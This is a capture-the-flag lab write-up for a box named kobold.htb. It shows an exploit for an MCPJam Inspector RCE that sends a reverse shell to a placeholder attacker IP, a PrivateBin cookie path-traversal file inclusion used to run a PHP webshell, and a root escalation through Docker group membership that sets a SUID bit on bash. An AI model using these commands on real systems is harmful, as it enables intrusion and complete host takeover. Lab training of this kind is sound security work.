1. Enumeration
Started with a full port scan.
nmap -sV -sC 10.129.54.83 -Pn -p-
kobold.htb and *.kobold.htb
TLS cert disclosed wildcard subdomains. Added the known ones to /etc/hosts.
10.129.54.83 kobold.htb bin.kobold.htb mcp.kobold.htb
mcp.kobold.htb served an MCPJam Inspector interface. bin.kobold.htb served a PrivateBin instance.
2. MCPJam RCE (CVE-2026-23744)
CVE-2026-23744 is an unauthenticated RCE in MCPJam Inspector. The Inspector evaluates untrusted input without sanitisation, allowing arbitrary command execution on the server.
nc -lvnp 4444
python3 exploit_CVE-2026-23744.py \ --target https://mcp.kobold.htb \ --lhost <ATTACKER_IP> \ --lport 4444
ben. User flag at /home/ben/user.txt.
3. PrivateBin LFI: Webshell
PrivateBin at bin.kobold.htb uses a template cookie to select the rendering template. The value is used in a file include without sufficient path sanitisation — setting it to a path traversal sequence reads arbitrary files from the server.
curl -sk "https://bin.kobold.htb/" \ -H "Cookie: template=../../../etc/passwd"
LFI confirmed. Wrote a PHP webshell to a writable path on the server, then used the LFI to include and execute it.
curl -sk "https://bin.kobold.htb/" \ -H "Cookie: template=../data/rce1" \ --get --data-urlencode "cmd=id"
www-data confirmed.
4. PrivEsc: Docker Group
Checked group memberships as ben.
id # uid=1000(ben) gid=1000(ben) groups=1000(ben),999(docker)
ben is in the Docker group. Running a container with the host filesystem mounted as root gives full read/write access to the host as root inside the container — used to set a SUID bit on bash.
docker run -v /:/mnt --rm --privileged --user 0 alpine \ sh -c "chmod 4755 /mnt/bin/bash"
bash -p whoami # root
5. Flags
redactedredacted